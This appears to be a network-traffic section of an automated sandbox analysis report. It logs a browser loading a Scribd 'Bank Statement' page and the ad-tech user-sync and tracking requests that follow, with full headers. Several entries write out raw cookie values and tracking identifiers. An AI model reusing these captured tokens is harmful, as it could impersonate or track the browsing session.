Source: global traffic	HTTP traffic detected: GET /ul_cb/sync?ssp=sekindo&gdpr=0&gdpr_consent= HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /js/usersync.html?gdpr=&gdpr_consent=&us_privacy=1-N-&redirect=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3Dundertone%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Db%26uid%3D%24UID HTTP/1.1Host: cdn.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /exchange/sync.php?p=12776 HTTP/1.1Host: pixel.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0oq4I6BwCEg9fyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXNAPlTu0R9RN; khaos_p=M7A5MT0O-13-DO11
Source: global traffic	HTTP traffic detected: GET /usermatchredir?s=191923&gdpr=0&gdpr_consent=&cb=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D99%26advUuid%3D HTTP/1.1Host: ssum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /ups/58545/occ HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /profiles_engine/ProfilesEngineServlet?at=20&mi=10&dpi=793790479&3rddpi=1486637409&3rdpcid=86f8e4fd-fa23-4973-aa3d-d0448088be1a HTTP/1.1Host: sync.intentiq.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: intentIQ=aFMcRnXnrI; IQver=1.9; CSDT=UEQ6MTUxMDZfMCZVZDhhalVt; IQPData=137264061#1739863213349#0#1739863213349; IQMID=137264061#1739863213352; intentIQCDate=1739863213351; ASDT=0
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?id=fba3d144-1026-4d31-a758-943b9545e305&r=https%3A%2F%2Fusr.undertone.com%2FuserPixel%2Fsync%3FpartnerId%3D39%26uid%3D%7BOPENX_ID%7D HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /dmp/pixelSync?nid=125&redir=https%3A%2F%2Fusr.undertone.com%2FuserPixel%2Fsync%3FpartnerId%3D54%26uid%3D%7BuserId%7D HTTP/1.1Host: pixel-sync.sitescout.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /6/map HTTP/1.1Host: bcp.crwdcntrl.netConnection: keep-aliveContent-Length: 440sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /pixel/p-1ZHFxK2kGG5Cz.gif?labels=publisher.27975.space.115858,adsize.400x272 HTTP/1.1Host: pixel.quantserve.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /khaos.json?gdpr=0&us_privacy=1-N- HTTP/1.1Host: token.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://eus.rubiconproject.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0oq4I6BwCEg9fyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXNAPlTu0R9RN; khaos_p=M7A5MT0O-13-DO11
Source: global traffic	HTTP traffic detected: GET /webfonts43j533.js HTTP/1.1Host: cdn.btmessage.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D105%26advUuid%3D%24UID%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1; XANDR_PANID=24dbrseDowk2Tea9qm3uMABTmiFnTIm2QAbN3-EUqjhlicKUPETACtUGLX_c-IrOzrzny_F2Y9NDAzkaxY_Z_EfGF9cz6wrkKtt5g-96Lto.
Source: global traffic	HTTP traffic detected: GET /supply/v5?sk=d_mapping&pk=scribd&url=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&bid=lpcWMtnWlxNNbyRpmuNu&at=Bank%20Statement%20%7C%20PDF%20%7C%20Debit%20Card%20%7C%20Automated%20Teller%20Machine&sw=1280&sh=1024&pvid=03e755e2-2f34-422d-82fc-145ed326d2a0&l=en HTTP/1.1Host: yield-manager.browsiprod.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?p=159988&gdpr=0&gdpr_consent=&us_privacy=1-N-&pu=https%3A%2F%2Fsync.cootlogix.com%2Fapi%2Fcookie%3FpartnerId%3Dpubmatics2s%26userId%3D%23PMUID%26gdpr%3D0%26gdpr_consent%3D%26us_privacy%3D1-N- HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sync.cootlogix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /ups/58818/sync?redir=true&gdpr=0&gdpr_consent= HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /utils/xapi/multi-sync.html?endpoint=us-east&p=rise_engage HTTP/1.1Host: secure-assets.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0oq4I6BwCEg9fyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXNAPlTu0R9RN; khaos_p=M7A5MT0O-13-DO11
Source: global traffic	HTTP traffic detected: GET /idsync/ex/receive?partner_id=3107&partner_device_id=x_7JyzzTT9zH0E17zDr8&us_privacy=1-N- HTTP/1.1Host: pixel.tapad.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?gdpr=0&gdpr=0&gdpr_consent=&gdpr_consent=&p=160295&pu=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11576%26id%3D%23PMUID HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /getuid?gdpr=0&gdpr_consent=&redir=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D121%26advUuid%3D%24UID HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1; tluidp=4416503600587711592667
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=2 HTTP/1.1Host: ad-delivery.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8If-None-Match: "ad4b0f606e0f8465bc4c4c170b37e1a3"If-Modified-Since: Wed, 05 May 2021 19:25:32 GMT
Source: global traffic	HTTP traffic detected: GET /dna HTTP/1.1Host: dnacdn.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://gum.criteo.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://gum.criteo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: browser_data=hfFp9l9aSTZZSXN3RWdkb0VzR3RBVzZ2bzh3WlV5OHRwVWlZUkN3T1l4OHBLNFBWRTZ6Z09mdGMlMkJjbGxUQmw2R3JoZVpXOEhQRHdDcU1wRzZaVkRoNEFKN0VRJTNEJTNE
Source: global traffic	HTTP traffic detected: GET /?pid=fc4e1fcf-7b7a-41b5-a689-0f1570fe8fea&src=www&type=100&sid=0&uid=x_7JyzzTT9zH0E17zDr8&cb=1739863210529&url=https://www.scribd.com/&us_privacy=1-N-&gdpr=0&gdpr_consent= HTTP/1.1Host: wt.rqtrk.euConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /pbsync?gdpr=0&gdpr_consent=&is=rise&redirectUri=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11584%26uid%3D%24UID&us_privacy= HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /deb/?m=xch&rt=html&gdpr=&gdpr_consent=&us_privacy=1-N-&id=zzz000000000002zzz&ru=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3D33across%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Db%26uid%3D33XUSERID33X&b=1 HTTP/1.1Host: hde.tynt.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /ps/?ri=0015a00002hdV5tAAE&ru=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11580%26puid%3D33XUSERID33X HTTP/1.1Host: ssc-cms.33across.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /check_uuid/https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Faid%3D11603%26gdpr%3D%5BGDPR%5D%26gdpr_consent%3D%5BUSER_CONSENT%5D%26uid%3D$%7BBSW_UUID%7D HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /getuid?https://ads.yieldmo.com/v000/sync?extinit=0&userid=$UID&pn_id=an&us_privacy=1-N- HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1; XANDR_PANID=24dbrseDowk2Tea9qm3uMABTmiFnTIm2QAbN3-EUqjhlicKUPETACtUGLX_c-IrOzrzny_F2Y9NDAzkaxY_Z_EfGF9cz6wrkKtt5g-96Lto.
Source: global traffic	HTTP traffic detected: GET /async_usersync?cbfn=queuePixels HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://acdn.adnxs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1; XANDR_PANID=24dbrseDowk2Tea9qm3uMABTmiFnTIm2QAbN3-EUqjhlicKUPETACtUGLX_c-IrOzrzny_F2Y9NDAzkaxY_Z_EfGF9cz6wrkKtt5g-96Lto.
Source: global traffic	HTTP traffic detected: GET /bh/rtset?pid=561118&ev=1&rurl=https%3a%2f%2fads.yieldmo.com/v000/sync?userid=%%VGUID%%&pn_id=pp&us_privacy=1-N-&gdpr=0&gdpr_consent=&gpp=&gpp_sid= HTTP/1.1Host: bh.contextweb.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
